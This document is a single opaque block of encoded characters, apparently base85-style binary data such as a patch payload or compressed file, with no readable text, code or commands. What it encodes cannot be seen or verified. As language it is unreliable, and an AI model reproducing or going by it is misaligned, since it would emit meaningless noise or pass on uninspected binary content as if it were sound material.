zGI{P$;v|e_$z5^xfT6~+LS&F5KV_#K&`lw)}RO$2P&*~YvWNMIn5ud1d__C>|uX(>-)OkI(JNO|vew_1}$S>GV#tObTjP5sctkNZ=7ZAJ} za%B&rZ@)$!hxx|uEPM_0&By{>sh>%BYaW9h5|9TAD_yqa-dg|LscY!w=d-WB@o>9G z;o{=(7^*bpu?$lpOC6kV&Zv+*9Q$Cb_VxCqze)2>i^V6GqO6Uq`J}&MdQqwq6*Vi# zSB@O-jgRW6#~Po0eB)n^JSTYDP+nZv+xKu>Lt3wiRx|Tg-(2^Hb@j0EG}$f(AG0Kv z2l!&<514mt8+YeDhY2Wxc3FiDm9|Ou?B!XrYan$DPVWKb8}3e_Uf?zZHjSk}=vuWi zLsI0=1fI%43J@F^&(EN`0W;VLpDvvzw8N~)BhWOcus~w6riL4^t6;sE1f^`;6#?KPqAn5xXd2+QL`VTq$!_}tzZ$)Zy;zhSVizAQ~nJN^y8FfT?su9vV z#*wzTe)hx4M`zo_JIH4Pk zlUy0(fee+Ek)cCwXKh`e!@&bK{tYjs!YTOUKVzG;25{QYJjAbp><+>Qh?uG>EAefa zYJo@&u@ayNFV=%F8jzrf5x_q~x0IHcA;%N)0Yx>r$?@Q#HE#1_?fV5&Szji#1+FnK z@Gsd4MKUXYF4K)l9(1&X<@M=r!0d>VMj=cU|3GpHAimC3l#SAsPih|Jcn(p?+1hXa1Ja3H=zX=(g6bM6qa6a>6< z68HdbPbd*l8Nl8yJGkA;K@hRF?0+;4!a(3CL-7D%2e4Z;Acsqn7sy#Cj*mxzF*py9 zAn7c_X94pf1jV4j_q4SqBV>+Wg7uI9i#ai}q9RK1_E#?-g(pN2YhAy;E2Q}_T|h0l zk)kgH`a|a|ihnMUH0pi<2-^hWO)hs$Ye8pcz+m)soFFV%^nFHTbUVe-M>?_e4PR&5^m`rFzn z))cw18=r&tVkqOOXLxnHX$>sAq$pxC2U;N`T}$@D8<>897r(sP{Ll7RVRX0M{ujih z9-u$_(_h-ZiZZ!8gp3sHG}R;#2&|tqaiF=}AR(HgcE9LR=e-K$MnS~~WAuu(wRt(dN=Dt7hjl7W^ShT+K{C(5bYV8B(Z7gD> z>42W``Q1Ab#}!z$K-^(vrStat;txzOFtkebku$5SR(X@yxnIC|5L*wA(W-T;8A{=uf!kRd$s@KPiW2k$(R%7LR$qJeno9g0|D;{wHgX^syyPuyJh z^fs(Pi&(JW6Cm{%!1^XFM0AvjXlp0uUTttY%CR-roMR5~{<;X1aDOKfX}RCx2tRf?A0kX0U`1{r0!$E(BQ8Q9DVhnPSaVorg2LZC?Z`~4ppfcCzc5gjC-U1n7 z48Q*>er!Fo7@Lq;33ijwL>5QLuLdI=kWd2QKXZgl0NicSy8aB3@OFSX5(nLqaPW9g~uB zyk7hcf0!3=Q^eN8Ci4gCC`})mgEIkM1PnHE^d7q0$2;XHJr1%!9|pTWoU?q+H_~Nc z`<;?X!>v$$R|*sgu!D>8|J>xL-)0Ip#eVoclyCY?PGBSel(Hl^ZVTGrgo2rAm2vY< z6nk#ZYJ@aQg&%-IlsPa{Z~y3LB1$Omazxnb4yEfI2at6$R|&3esyOd#SOcy@`f3C zSPJLm7~g9bkj)#W-$kMz&xadhz}tt!Q+HCsxf3{lQIJenWAOs_r>wg>PtXV4btd?= zu;GMNr$=JRv}4Oc06ZvDgSGhl*q^jDSAQ01QuMQ>~q>2oHWIJZgkRf z@A?&UBi3qmOxM-L`vbcNf6xP2b8DO^p)gFEVLD*l66+U88eyr=OIf81;(Wp{6e2X_ z(Mp!lt5=Tko(h*tt|sJUs4Y?lQ!h*{2_s~C#<5=j$`yzk5@eaS{A@lt6XGJ;o-sXmo5( zB}kWt;uan8?W9C%bhc~p!vQk%4%UZy`G{prqckKEGd0%1!5g|CCOeERvF zlGgnJuIYx?HBXITDh7X=(8ydY^biN4R=8>h+8mm8Oi-st z(B@`ksj-lj0fZci?}HBZr@Lzh5|xTcNlW|AOo{on8U>V-`!-wNpy2}&&$XFLZW<%_{Ki8 z2?)iv_#&Gpk0T-?R0B2SN~b?gO~Ky*c;58aClJ{g89n&iv!$NpNlgLZ*?@JKf7c$k zmBuzadTb2T_FxPLmN=4`e^FH67sjdjs>_!SEeA2J#Fa%KZ|}NM9{9xy zzLR`8ka%H2GE-)|o*ydi2kSdUrVvV_e8G-zAsHE>TQ9~28MxHV7D9e|SJJ@)6 zHMF#d1IW~-I6!6@>P)B&w{o>w7As1VAW|t8&RU%N;p;22f`opAb!u8PzM=b6&brcc zwWF6}m}~Rm(N#g^h@j;vZEQ6K0 zJAQtSVQ+unw!ZqE#@*QQ0;eOn&&Fi8X<1+W^4ch3_E*-!f7i>_73>or&9BkHcxb#Y z6#5ljzlxb_b#J8u`X79sA0}nTm#mJu;IwGc~aCDW{TaRcF8Y4DWEfDi?`|3G?RE zk9P1kgnN-JFYlsh_cQv(52Us7EU-u(dbOJJ<#ID-za*zh=|qzz+G015yp|~V)msYu zVq3%&XoY0)!%=~^t(1Ufhxmwl=94I&A!ih@o$ZAw79AG&j-Tn)RL#P-iOnPL4>Xmn z{vGE0xBnKaB~c)h*^(K5ef^-X4Y4meoKiTLX==q#j2;LC_#Sl2>N3wzDANE)Lwc*-6*ZA&fJqx{v=ttGf@(}BebG`3 zN)$+i>5?1*mzN2MBV)1Ex$W|m8Dy`ABS1AKTI__@9FZS5)Tz>oxOwze*h*G}s8sbX2YXntkWPsZs^7Z6_{k_^<5?0rY4E*) zRa`&nYO#4pHa5kZP5;ew83IC8b+y7lvZ%q{oBcLuqV_^mv>!+L8=<9SrYD{y`}~@i zPTE0gEKxB0gWN2`F}xbi*f0*p5@)%D>I_A0X8mdBtF0bI?yx|0bU(&Rf~6$8-*-t1ov7j2|_>peJ*xWBhb=&4R{&{0^nTLpimy{)>uN zdiUruZ&Fm1n}6UM>1K21GC&qpJZ6w;aJnFmxvweQ_q_N~lvKTesCshQ!w1+QN=f+{ zoaWgzqMQQ~Voi0PCIyqy$bnE5ieHqUDYU;F$q_m4sy>=^GJ+6d7S(~0dbMRuHnmR< zMfx4%cQM^9{Y}m&t5-fWw~wo)rjuq25?%YLdEX}MS?P*q@_v5W=rEm*L9?S2<+bIE zozf^dFSXR4h@PA2@wei}yRwnONBcJfMWf%+jW<|sNjT;Xl#Fs(32IwSHYjSv)L@lr*Pws{ukESth-QFQ z+Iin3PWcytMstHG@<1MUrh=TRI)XAO~?PR9)NZL(F*+S4d4&p90cub6bIz z@U6M(fl?fvY5Rxsn(b*;&j+r@{ zP{kP=)*D(TG4ZN&sz@UHo~W_nij)1ZU9N5g#{ms3B$*gLh?AT|;+j=sAvDS6`Itdi zrrFJ;V&W7sp|0!!B`v?VEqwMS+IG4+Ys56Nk1F6#X>DTSQfE=}${zRkwe{^NBe8qU z-D1%VbBx*=_flWXSoS)p4vvY@9QLsww7;itOHQBXof)cde0*HT=&8U~enxaS;#wUb zz8I>3_LscEu@kC&CEg1l@Pr<@8>z~f)5Pk_@C#ee@N?O>+{OJZ>X`aW(Tn(fXnB(H ziqTzXONrW{iW3sFaSOw_jB_VDqZ;ZD?#vbAwH*(UsiOlDYxkzR4J559kr(&xE~&X4 zre?FOjxCTkPGRwvHvchQeyLF?C)E;d=G<{+;p(R6ANGf~g}NI#VJw{0LXzFwK6~-h zow{bLf{mSlLC)~3DyA^-8XCM-AAA2Ms>sP%+LH*YTUuF*DbiT<@9jEP3|0uFTFpr4 z7ot1oG-o-#$jO^_bn8CPvm1{iH_3R-Y|m}TZ03Ak_VKRa343UagjjtDn@RPjX{@-m zij!IEZ@aUz43Y9{H?3Jkj70A|C(LR#efA_ z(9zl*uMF0&4^|s$-ixss-D+$}?3mSVj(jpZA8b76ynk=oP+YJ2cU5rkmH4o3adM2N z;NYGYHmm$$=;-WB18+$UGbFC@J~;ioS+TK8VUE+D#AB7qTi%F7=0s*_qqlQ8O^qU5 z=hvMD2c>5#s#(40_?y)7cpV>~s#T8um~8#jMl(=yHd>J`uGKs##}$H!St;CFVPhyK z7d+gT$1r+8@&AGEa&jxS!KoHygMK+4bwMTKp5ugWSA28JW;fW|mzHufF3Osp=?g1K z%`yE5Za;`emo~mRK&bqAfq;zu!Z>xU=DLZ~^k>ujYb~bL_~#31)k0$3pYECOvRhpa z<7;;IGB7ZB6v(}GfwePUJ8c~j{{6A2kk98dD$$P*Hit+r%m(MP{Y!*{5-Zb?v%*d=)hiTH* zR-E}`HjjR=%iHvh$_?>yX`ep4M(#(4v1C9p%O{YRuuFN3>s;(kw+BhQ)aBg=eVSH`vG!}W2eHM? zQ%eNlg-)!5X_Aa-%ujB;)ut@FJ{^iS!d4apZ*aP&!4&^}rwqvoI_-FO7WG3yCEc%# z=ePsss&2&@PI7EjkwRN9&!ujwJmqK4(1LA z-{q*Vz)C=s&eTx-+u8M3wuK~gz$QSlQJVoY#Zaj~xMmkd{DwRR)dN3%!r1v&x_#c< zE-P6>$vgR&j@2n`r0ko9y#rrwvj`c-_a9>!WWcBhD2z+7hkTiFen-pd!+h3%wB1^= zl`~NV^)B7Uy%~dZ+^6-CicGMvTd};JGMX9y3U)5z& z4W~O!6lE0pt+U=X*Q+7*B%+^j42CPOmW(V3)`_8XgdayV4Zq7Mvl4HFvWFU8X85u{ z6ca4w9xCZ(4A#8sP22rwUtuh`_G?pX!l0SMXtu{dRYthU0|$eGA!Us>_`eUi2X%fF z?x(F4nPy`aZisMbtyxAuXK%_^I?V}iE65muI$j-Smv@s`qKIqOvz^`DfBg6Xb4W|1 z2a<=P@{^kg^|!sfBHl-kAnCP!;q{dFKP`ZYR8EcYJoqk5Ud8_9rHENuTLb-cle)Gx zao2ztB34@_FYm>Rs%++&A3p&yf(pOn83U|>lT*bGD_uN<2`g0Wa}HWhl?d2WwX~#v z;8xXx8Q<`lbc9Mbye^UQ79gRS+;qM%qqGn>lu@$_52HJ;Y8JYup0w4oui&>Y;NVMF z|I&&@imVvtQAr{PrNk6R_qD|qclt`JnkfenTB77D;Z_=2T37Zc!6jT>^b@-(AxsO=yp?mX7HBL0tt2pdd^^Znjz>VAl(A@r*WAIvntd49&wJQ$$M27)fW8R@?douU`OK zQmg}5arO7n;9#JJrg9AVyN_X&iHh;b6-*o3_zQ|hfgy6Gklm;BIFYaig=8+6?+Sb# zwAP(F0bU67WnW0iT3|ebLW3X}rCQ@0m$t)L z-#%4Y3d>2*vKdn?LktvIbrpwN`CTswT1Y_yaT7_80Dr&oym2#0m(S!Htz$@jQ}q|^P&w-fE_UpS`Jl%cAs?8o z9E!g-$9X~P@J&Car$hep5e5dvb9`!3f8VFA8|eFJoD7R_S1o)4waL8XQMs5L3spE; z*3hcQ{u3LcG?@3m`ldb)P)mk9PfN=2jM5-Es7K#2UP@BZku{&uih(3jx$wBy3bE}? zO~7pP_8Z_<-QKa1`3NZzy6S zb<|l%#V{aXeD$iYs^#AhGcxG`WUGlIEi!-yKqbN86v zQ-k4E&xLBL@2v##Vm(#lO#3OgDR17q3C0PtG3+3SDP7&yAy=9^iHeFc-T;_BNYbvU zMi<1!#`Y+}zrv8C3P&V?XY8LzBjnbw_8*V^s+Q#+Keo4lI{LwYEt!)X&tOSs?jeZc z=}f0ZJbaoB=_04#ZTs{0Ifw30Mu{U`JUa;vq&EQ`EUaHxmn*eL>F`)^z8#Vc!6 zG0Qvxy_&7<05$Q%BN)C0ej&?i1v?&`bs$jjl{R_h;s+XbGxa^~fF1oGkLO;i73)dU zfsr1pSEoy-aTtIIr6qyD_^RWmH9N=OEqFi#I)CC%4 z$E{`WX-!yu3fgEOks7Y=-l39n;e04o`)q;4ze{chUk`g-=fRdht{b z9kPZHPcFe(b(D8WyE^Y7U1jzfuA^4u85;zj0eB@4f?0$BW|r_T5f-K4|K5EW=!}Xt z2FDT#zz2_&9L$=}!S6kd639{6z&QiFk@$Pn#+Y0NNkza`J33#2Z9VF2Fzoqv}L@OO-cUJ>2vza1A5qtqfzj|9s&+le+UWo27yNH zPZV3Dr$_D|N!1VoZf$A0%ZW!_SJAWHOal|~`=jnB5CWB75i@9Aei!}X0;I}zUS6aV zELFE*S_|6^Kphxz%UH1b$T0|rh(KmMs}xa-s+u zC#RkA(%cHJBVY)j{1i9=Mri=#kiD3ey#+}P{^Q>Ih7gC-(sjaHo|MF$Js!BhZ9zp( z|LFB1EM-wDLg1M&CF-COzTheVq6~-x^+nn)DA4!ZH6FB#=M`pEFX4o&MH&;uE31jc zoKqdQMF*FhdlZm~hzZvrwSqCj!o<@(FN>ia zqdm1M4_^32gcS<%L}cWYbv+I#)iIikVYxW>QH-x#u1)hb#K8&x9#|lz7{IT zu6z7TmX;XF{j4k!|JA4?Izg0>8AH)EfAPxtq~I`+GusO8)q$3O_oNRg*JqQ`EBwAE zWb?L(0G-Y~Se3L7hQ$hkYKK$d?TrzQKHc_ek9yMNW-lHH)pA8z z%t18^eqEtVj6|m&r=Yxn0xW+J^tOAl0Lz_~pabaworKwy?qy(w!ghz2t4Pl~PLP5q z0zV90#SbIy_CrvZa7|7iu5xCMZ2-?r8iRxY@0rV+ge#?hH?G5oAMU^N`N*bvw|#5_ z79;B-OtwN)Ov;S1gpXh9?E6Z?tw}i2K#PNMmQHu328%7P#(Y~iCW{(~@GwFbt*Jos zB`^gl*EnU64DFGKI77YCXIcOC9r=pVpkjVoo>u8d3t+t>Z;M6|iuOeTQVrhi#d-)C zBog%|#-e>dIQ0(rz|@%WE%Y3xR6QR67m`5L2N#Bt?w>$e3M5liJ=4oIU#0%`7eag^ zQKln;gS%Fz+B`U};fKBQM~?)#u6}&;1h4kWcOHXV$;&v8Zh3sZ!rSMsYG8DXu-SJB z8Led%PJ4W);VVs773fc;mpHxscJm0-=YJ9#c>2prDx6@6y5WTw_Lm{9)svuwThE&& zC+@M|1J`}h-ME=g+#Vvx#iX&oeugc5s5BjYDupuEwRDgtpuQNunakP>x01-27#SH^eEmpx$g-Xx3s|OT zK6G~@3pfU?JwdJoA&sJ3%aC1`TEIGs_2VVn9Z(IXj@cCnl~r);TaeiM`WmL$$?!K4 zvaz!tEd7F`9^}D5q>hFHwU}*KQ34kKu*c*}e*(LEC|#q$mJGplpeJCUgS8ble|FeQk6v3Q40zx!{`jN_-_8s`5aNT$RnyG!|^0DuEPO$9) zLTG3nkY*?}RKEbA^NyNp0|-0jgD&QRbScRF<#fKGSaKr`e*i6oy_#22AAV9%0oZz* z`gss%9fHXxU9A`t6LD$i)3mfSG*{36qIe^KB$*O%1*-Far%9ffJlW+*Z4k;V4&iN} zpQtWxXGDCpm&sd(%69S5@;48OT)(fG3+~+kkXo5lvgkF&Yk6sP3Dr`n8n1cB8C>!D z@Yw*2n(I0hjp*+sX42hMae$%*iu_K;X*RgE;YWFG%BR-bI~Gd?S;G7K`>-0t8$)H? z1%V=Js~sdDE%Z{}ICdl>M5TS;Hu+6_xlasa1lh|YS;$!p2b%+IuArmoeDc$Jv|k?m z2o=cc23VDT0Z@l@0h0(`MK#@&-rn9@Pfiin=a_9YQ1oTcD?hiDfFzx=tj|$67RTv) z?lbySDpqeiw%#!oqU#GzGXa}TSy_2>Lul)XvsJ7FR>1J{8^9Huei-2I|DyKeF;z=j zDQHbrBj}+T2JvGBt8k9Rua!_@x1|mv-4tk9ysqEljZeLVA7u97#klzLp8<9m&r!}& z4Gj(H(|H@{0e!FGi4zGNLZ6qFn>%FuDVSonM`Zc@TG8)@>$AUYn0czl&4Vu+jOcnk zH9Zs+2w2XKGN$bRXk)+btG_|RDIH2T{#Nzf-3#|h!bR2WtLPk0H)#@} z80rG)H4_J`>K94Pa?%Oah(|Mong9ogQhaK}Bk`NLQJ zif8=3VMoDpK9HBm$YXyY^n6bBS*d}CJ$YnxbrqC5dXFs6vr1N31Kw^KCk30N+xhwX z{{f+t|Ha9i(KpdMNF-3*E1Z}TeL)!N`dR(TS&1T3Jru`)E!b@joRHiEUY3%s&-c$G z>_*D1HL#Tg-VrEbL^VMT3<7UpyoOtKfI2nk?@=D7L5eb1BWfVRkh79@-J#IQA93Rb z9NXNZfMx{EWwl9*42skJhzJ@(4)R}MuqCopKx9Wj<=0GI2QohT_25%sc9uDmMge3WW zI3?~2W&W9i^W)`9#@5|fwXQb?XpPazV38)tgEfTdFEWAcd z4pXoZZg>H2V8xHj*CiGkdqP3Sp?hleB&59Y!K1ul%u=W64s2bNGjF6Dsh|3MKu=6k z5_b|qcVRaB#>b_Vm6gJH8K=8X#3NUZ&OHEAc!DbF7xjHsXAo3Weozi4JVFr(kEgXE zxD*7d_ar|W7d@z~Dl@osdO{<*eK86DfK#X`&t4Bf@(d)ydljOFz_otY`j?ICt88wd70H!KUp_0xFo=xm{>6 zrKJAZ)8t4sQsACdOc6)u=!;5MrwJI8G*BeehU(eg4KU6pl+-qx`7*w_X{AuHjwN4q zV^Uc)b&rHWrl;ZqtH}XX{m^lMnP4o|lHGbIQC*yMeVHS5>jb=*0z;%x0|2OGbmdD| zz`F8GrSOrMIUWduD!4X?%UQ*4;21Q^&6H6)VEyO_UBj~Y`t$d}#NYjWfpcDhez_U~ z7D73Q=5~e_FHwaheT?xL{QzrwsLjvy(T|VW5)+tdJ`Tw{tv%7lv!Me8wGIbdCxJRD z2z@JBg=m|f3An)F0iP>;Oiw=m_SH_i3`%v&WgBV&(-oMft>2Y@eg?P#c$7*Fd4L~b zfkYnq$myzt+Z>U&-POCQn?_?x9kLI{pA$$SL2Or2!F5pgMiz#1&x4(55aIBZ6{3P; z)m8+4^sJ>unJy%;0FZ_|R689i+@ie|;>oI+UI;fB;8c+(su8A+8*SKwyAk-b;Nlu- z=z#6MM^_R{FTI$IjGH$9`@N&bof5_gAF+II-?ru*+YllhTR%Dn_Yb`^!XBJNu^X8RD7h{Yd2VR-?AcLUID-Zhv4>B<#uI$zX?#i8Up8}RX=M0oMyRsF zX^jqT;ixt;@SWy5=lAf~o94|mSKf^4-6Lo)uTp>L9`lAHbQcO~sOPJO5;xZQX;6^8lp=U9CjsO37uAH+x4_AW~B$S5)LV+3| zt3dVmUMClJZ)u}tY6gFHNqtO>`pSE(g>OFh8;$m&i`5LifKHq!;s((ju2ht?DftVT zD~`N*k}*NntsPPd^5=Lv)m+tb%L#7hqt0j@`veW^qUc>((ZOl09g{#PTrt&oKcKh} zdU&rc9Cyo9tG~a$jO4{baM{F4Az4GB zNtWa0a8yE&W6TGT?Z93`fmfe-(-0%y+~XY}YZFxp2!4NSEj zu5&4pIZ07bq$nYJJlKH*CcWC;*7`P6s2W72L?Gu5kqqM^4Rq6y8KcwpB}nfgXGG$d zTob(uT3UWW7y+iu9+W!gP{Bb>#GI%CZtNW=lAr#skzuRsIP|>cyT)8s?5Sp-7UDw& ztq-VElg6;?mn7;*I){GKgTWfo`4qTP+W``0#QKRc7x#=|^##PXz-TODnJbz!e%PiS z@trb*r!_6oKKa#VvbjSMuhg@i@B&e;)wh2Lo4((|sTASm5i`fOeVxRDi=BD+x6k+x z^qA&Xcy1Q!Z3CtTau8sG-3CnleKO_GU7>KFvt#VYe#6E2?_+-@w8GHNB$7Fotyo_(04qWoLu(5Auvv5t^0xc1v1J-DPp&~SF&3yYj6Yhm|< z^rrH<<6?+S?7{u=keTY6Xq9}J9YhCg(WqDqiaRYI`Rycpr#FudGHvsHG6F=XPkg0g z>*W}(sNJY9^QWe_SH~C2u1U9#UienRpGfj~_e3v#bfW#TQ=DamKw)Vpu0}&YX`4chA2Mjk0z-SLx#oAhq_BNh-m^b+dZanI6K}pFdU*uzxa|xVLgw0z40v%~@ zX*1;hfWH389Q9V3erL!23PvvzZRERmg!4X_6nFr1V|5G*~MGehlHXs_akxnpSZYIcZ;X!dslJz)+y z5?CXk7{0j<}kuL_E2 zp}a|cqlWd1A3;IT6oI|v>`dZ@m&8>oct|LSFwo5Ct&7S2w~UrJe@FW2+8@k5n(Iov z&SS^i=;_o1xGp43tZq8K)8Q}f--j)Qh$e8?fhx&BmN=S!FiLf&w}rwtjEW`yqLIT7 z(*5jjQfjxc5QlA$9+h$6F+Fh9(I{p6q#}{`H`qn2a`zYPOeShToFCY|ym`bZFBw!~ zjlA5NtXRsT^_eY{5LV-C?Q#RnEd{cf*UZIG8hO z?t{_(2gRuZ7VCb{;nF|ZgLk|K6wS33-GN?Shd_E(z_XtvaJ|QUJF|52jlf=i=Jt~T z{e={k{d12qHlQj&=?_mP5Z`5hJqAJbiw!(L(^~Ujn9(zyS^C(~qgyFm>pwJ)ilYb5 zISTldE#``c6`ECY3(OV*#O5Ps9nf>4#_!Z|f!pd9LIljzaaq4&j&0ndid zqer#oomq3Pp_?RiLt5oIR2osKPQ7a4bFBHRj~xeO&Q~2UI;O;K%VnDyAaa1C21Yis zxf5Vk0odMF2-gt|hU!#L%a8(v6^lQqq%Yx-X zNxrgx=7ZrK7j62js|fA_ayug!x~+7~d$y0yEGFqDsnvP?n_Y&gKWLNlu^89OZ0>RA zlvjJ&X7hmL?Cm}LG&I+c3s0#W$WnGc)(_loZysm&^#UJZQ6Ox)0o7YkwCVN|nZ4Dm z+;jgxjH^73$|kFXk@z)gB?J($;IuGT{UqzUAr;Ng!XAW8uVo!z;lMo@P^(sx_yp_V zrOKQfhBvPx5P>>4k;(BUrA}hmuI}!e9~De9G}t_`AdU&L&cG^DQNd@?CVbs2WMwkn!vPLP)tk=Lg+hu>!-K(_V(79^QqE%KJCIdrGi84(W9R*Y=V6R zR;c1OYUgQ?>n&vln)sLRAZr7n4JS9(3b$$Goqu?;mD;a`57e^QV*P3MwpW={=EuPFdjXOCZSTnDwP<4PI{0)&$F`ziTz(OSofjyLut*{ho$% zkzB@E_Z~1?^Kb;2RX!`9`EFXfA~uCLOi4)8-ua}k zJkJ>Y_pj;${!_am%z4`Xv;cd%wW5t0c3DC%*G>j3XTp7bt_fISu`yQRWYFId5sIPg z8xOm)_K4!ijYE@1xmJ$rtK)ZZB@_o_z$2;%Cx>qOm|f86igd7bt1px4mjX?~en5Rg z$laiIeRp>^r~~?pUB%iTq`aTwl3r7u{p;Cuz{xx&RJ>ipQi@dNu9$9@6i*djd{-SN z?~e#av+rFyzzCI3Xfr_1sts{>uwQjoZZ4eMF~1!IL&2Ah#uBuFbFY_B_M+P_gS!}% z8+NJ~lg7FN>FTuKWwCvIV=ODU^5<_@m$y_7EPj(%&M*E#s|6fZ_0$BtB~~3CimM@V zKzoBEjNKZD%zF%5xr?r!oy2WIi1g06fv{D6<+v|d-=L*hN$L9-ejLC%0Z(=Yq6da0 zOY+}f=86Ktf-eSJW^vH|9a99@e2SmMBPEPav=&N7v)yfvr zj9okfMgzE{P^TC8ji_u;$7j%4KYan$JQq@><)y8VA8-Y=wY1D1z>v)%=+;ooP}mYrehg4}G_x>wPS+h1=P z)u2C{>|mMYoPHx`@~!vSW6-H%wg7&%Vz;>^(_1WxyphV0cAY zo+-#}^)`|Z*f}Hw1KfExFcnA$u)x>VX8L^4nhiTPwdmbLvuP17dsz-J_@RI>YT-`8 z&K}Qczce2Z645AH>{rMqEm@1$KBs>aZB*r(F@k0vjs0G9a-#v$ScgjpmNfs1%r z>n3P@9J6LEi5}&yW%s^dojKq{Nr>Ft-MLaxb4S}Iukx%CtJZ73V^@Bf^06cJt}~KJ z@y$KF1%YGUu=@J9eP2^Y4`v=>8lllcTBoF`b$oiN@Ta27)$*>8sObFbq0}oT05I?U zv+`$DAzahwq}OhmswiVIrK77^z;R?iO&pn;I_>`IBrJ68w+gdILH|&l5+0GT7S0Ie zo*rvmkCow5hkqrr3xiuLVPDxgx12dX5}8CDOXzuguh{+3DDrE%k|0>ZHq28W_S%obQ-0==&ClX@3a42hsO%hs|_D{ zlGGMd@ENMb-W*ggGkI!}_X{LoW&I)B;xu#|LXbKO3<33qUsVq#C=jdzZtPg$|6}Sc z!>U}@FJ9@8E@_bNE)fxsmhSEjX$7RaB_*Y#l@0+>xozs}*y zy4KpVg*o5(Ja>%o8@HtA#9yhsTjEv%0SjCyM55}ds(@qh11-=HujVMRR01vG(<_F7 zXGJ<3G>|BFJV?izp$v|Ev-eNA6U!V8E?Umr{~0ynFvhDL_kF0WGCDIEMU&ZPKYmc_ zmln(L+PhNc?t8v1`XRf*Tl|CFc#Z~} z4QU7&?!Y`ut2~~52iqjbDnxRtIru&T3_y{68eA3}!+Xv?iJf)Z^rxFNK3`fKFbnC# zWD33Ze)OGI#SoVZ2oe0s$IjTgsa_PnR(@kELF-oX!p4z_oN#hdg5lNrP1lv}Z?b`Q zhk(Rafy5iTnq3h_w@;RE8Ib?pL>F$Ms#ysU1y6a#$mxM@HX_QP@26#ZwZ+5O3QpDO zvhs2YYY6b5ANp1h^5n{B5sMYU_Wq>hxXRCaJYPG!v>UJigSe?YA z9l5GmM!j6uJfsdYH&B#hDCd+B>PLz#BL;hjl6GsWWbM#C0i5nlm~muE$w~km0>?Yd zZGoHv!6NIw{b9MMJt9}bKF<7jGV*1U2uk|>Q@s}6mR|&o~$8~ zJ5SDXU9pD@$GNl6o8eYdpTdI)biF-(|Iqn1xHtkfY}y;g=zkWcC+T>x$~uwRIIje*Mzk#q&cP9_tLs6OGq?#QEEtyR4RC6?ABDi89WVOg3VlYK572cm z8ojy=(TgzQ&eImw!jD`$)vX=!58lEdeG8iFY>xxo@dWgEtF0nYg0k(A1#dlM z)6^1oF&FZvCD2e1W1>nm0L-SBCWj4FM}e1bc<{xSfW440FMXqhv2sBfn`O>w4*^Lq=XZBNe0o`6Dg;r ztFXLMD=%{l>NH2VMxR7rz3v3dzGnK_*_pRE_o#qc>{jTxt;P|MY%%Y^CIJj)5Z9!u z>jOs2vJ+4lL1ptOb8uilf_B0-(-i0|FfV}fcS7Abx|a|ydO~ay$L0g<#Q>;*_}=f| z6-%{_eLLU)6v&1;61GiQ#O;pc=vwhGAXlBXu=vl?|CR5-Jj}8%K9uhHGZ9Ij5KLS8 z3+?f?e`f&j$QMKVQ0@Cb2jThf>oWvcD3>PN+#|=~F>b+`sY8Spml|+^bJ|AT41h5> z!{XszYE1V$+hB^3$a{HtSqlV|Q_ z0hE+UiHSgxg<)?7L_`7JC^R(Gvke4}u+@e>8}fCY9GX4Pxlr_~E5 z+=eAax_*r;^Fv3%3@^qRo|s?Y*m-ITOzhB$;5j=CAv>@6J$s@Ol=xJm22kzJ51--1SX28m?PqxQY%5nz6FWXQ^k9Q|ZFkjeIl< zC<=4;ZnT&Pv`YlBf(Nnp1Q7^}=Gt-6v-9hqWQW3M(kckGbb5mbWnzBN-(7EPGD@^5 z1inPyAEc$=H(h=rS}aZIf+^3Kq0CGat5w;zLw3t>_t+O?r-Ve9p4ckYY?2>%+4FGuF;>59ilatAgUci#QEx#&T4bNw9G`_Z)y0<+nzY1lTct*$#1%OSI z{5=E{6PkHU)Cw8J$A%;-qW<|I-?+P-h^{_qRP~h|KQ|h=drJ?kHi&q00^!uY6&Yb+ zuv%kdh>kSqrZBYuBe?|ZBcK+TG}__%<1%0c>X2;1{V#z8wHO36>^DshNzms{??Mlt z#a=tN^yNznV4Fw8RRzAc{{uB2guESO7{ZKndZXay#3xXQR;@Lt>pu}H^ zjpJZ71NMUo*d#D}T(j{(d>1T1`hjDmRxZ7FCtmKwU?a@3fX)F?-O8!Ipd+rWt$krM zs8kLkPdGJUEZmC$CU*#_ghdS^SQ<`K5JeJY4k0!wz(Il$+#tC%upoebSLWjg?+hXa zvdobWOLZFH#(252lH-@ zGN88x=|DQJ$OHfZf|p4@Vfu8k28tHC;42Twi6|x|b*MOiPW6c#qD;ZckHCAU;6sB8 zNo&#b-!mt65I+wO$ZS+th;h(?GPjZ9E*3DYD*6C&(gKCGz20$moZv~Y)%+uD+ z2Sg|1${fkLeA(dFI!3^%f!=cS@A`2jPloNn;h)Z(2Z!M8-_q&T`sywQMI_{0+C}&B z!-?`RjY)}0^oeZYgJmPd-(dEJ#~)M#_5N93m<@z|x+^;7LksL0ZznSi?>~+1wag-( ze>z#KR_^8NE0&?0;y2U)$;gO1rY9NuAkVYy3i2qrx1~IRI}otNNCz`0n1E0whD8o4 zrLO%udk4Hovu}7c2nHnlj);5G@Fh?k=JsA?WkD4SOFif(&S7Bx82NQ4g2f5fz?Cim zN=+dUe@FkbL*&8($BXzYTZ7JbEP_D0bJO_z&y#mcE32#jK#VJxJI<1(q^sMw;KGms zvPeh>_VoOmo>XRtn=5(xhxhV*?kkDd&7oB^xZf#1hC_x_|LU()OZ5rtjBykj23#V=szpv`B*uLTS^K672N#Gs_%f?t=~!+9t}x ze=xbCqofSWe51hzA5*Zdthx6>9;ADC&EAl%7EflNB(TL``3-b7yXM9XKpQABA^gQ1y)xf@ciG9E`2MCiet1-_xXXsGQ8#CI$`6XIVc zGdY542WrE*G(ajQ$`jJpvSCY5G^xQ_%Uvvi+^?69;4A*goGi!>-0Qz~>9($E=tBN0 zLN5m^Yi`r_Uu*yN*Q9=aj)X(e!Qnf?_%b9gx&`$Kchul!sI3*=XM$<_fLqMi_{>*A z(2@F@GLpqZ-S;@k^6F3U%`*TkNEWDLZ*1%93PTRV*_m=ifMhBY*rPU+dT)o| z!-&4IaeDvhrhEd%t&YM+w*_WjI2Jns2(Oz21a1GBtw2%)aTXmat=pDK7DH?-f#^S~ z(JqZAxSaFjos5$rdpll>C6Oh|$suH&?;**hh>SmJJ~2yg~ns z+`;E5%TThodHmHg;87%D;b2l?WeQU)Q9i?{4V)7;0Z~JcCwG*eFlJTESpOWVNia&mftun;NRcuRTrg1rM{9J73bhhWv5N?Gi0^ zNs1UIrJ>c3QK0LH0vju^g_ zdJaB$nuP*Ng0eiCzD0|6zp7U5$!{@ZLay?lt) zh=YISq<+u>x-aEYSSe$(k|FG15P@9f#F7S8w)9|mSsDBfIcnt>ku@JayfSlU(@#?0 